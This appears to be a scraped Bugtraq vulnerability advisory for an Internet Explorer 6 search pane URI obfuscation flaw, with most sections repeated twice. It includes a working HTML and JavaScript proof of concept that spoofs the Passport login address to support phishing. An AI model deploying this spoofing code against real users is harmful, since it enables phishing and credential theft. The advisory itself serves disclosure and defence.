Microsoft Internet Explorer Search Pane URI Obfuscation Vulnerability
BID:11851
Info
Microsoft Internet Explorer Search Pane URI Obfuscation Vulnerability
| Bugtraq ID: | 11851 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 08 2004 12:00AM |
| Updated: | Dec 08 2004 12:00AM |
| Credit: | "[email protected] " <[email protected]> is credited with the discovery of this issue. |
| Vulnerable: |
Microsoft Internet Explorer 6.0 SP2 - do not use Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 |
| Not Vulnerable: | |
Discussion
Microsoft Internet Explorer Search Pane URI Obfuscation Vulnerability
A remote URI obfuscation vulnerability has been found in Internet Explorer's search pane functionality. This issue is due to a failure of the application to present the URI address of HTML and script code loaded into the search pane.
This issue may be leveraged by an attacker to display misleading information in the address bar of the browser to an unsuspecting user while loading a third party Web site in the search pane. This may allow an attacker to present web pages to users that seem to originate from a trusted location. This may facilitate phishing style attacks; other attacks may also be possible.
A remote URI obfuscation vulnerability has been found in Internet Explorer's search pane functionality. This issue is due to a failure of the application to present the URI address of HTML and script code loaded into the search pane.
This issue may be leveraged by an attacker to display misleading information in the address bar of the browser to an unsuspecting user while loading a third party Web site in the search pane. This may allow an attacker to present web pages to users that seem to originate from a trusted location. This may facilitate phishing style attacks; other attacks may also be possible.
Exploit / POC
Microsoft Internet Explorer Search Pane URI Obfuscation Vulnerability
No exploit is required to leverage this issue. The following script will reproduce this issue:
<form id="foo" action="res://C:\WINDOWS\system32\shdoclc.dll/dnserror.htm#http://login.passport.net/uilogin.srf?id=malware.is.here" method="post"><
<input type="submit" value="default value">
</form>
<a id="fee" href="hotfemail.html" target="_search">test</a>
<script>
var malware = screen.availHeight;
window.moveTo(0, 0);
window.resizeTo(500, malware);
fee.click()
// setTimeout("fee.click();",1);
setTimeout("foo.submit();",1);
</script>
No exploit is required to leverage this issue. The following script will reproduce this issue:
<form id="foo" action="res://C:\WINDOWS\system32\shdoclc.dll/dnserror.htm#http://login.passport.net/uilogin.srf?id=malware.is.here" method="post"><
<input type="submit" value="default value">
</form>
<a id="fee" href="hotfemail.html" target="_search">test</a>
<script>
var malware = screen.availHeight;
window.moveTo(0, 0);
window.resizeTo(500, malware);
fee.click()
// setTimeout("fee.click();",1);
setTimeout("foo.submit();",1);
</script>
Solution / Fix
Microsoft Internet Explorer Search Pane URI Obfuscation Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Microsoft Internet Explorer Search Pane URI Obfuscation Vulnerability
References:
References: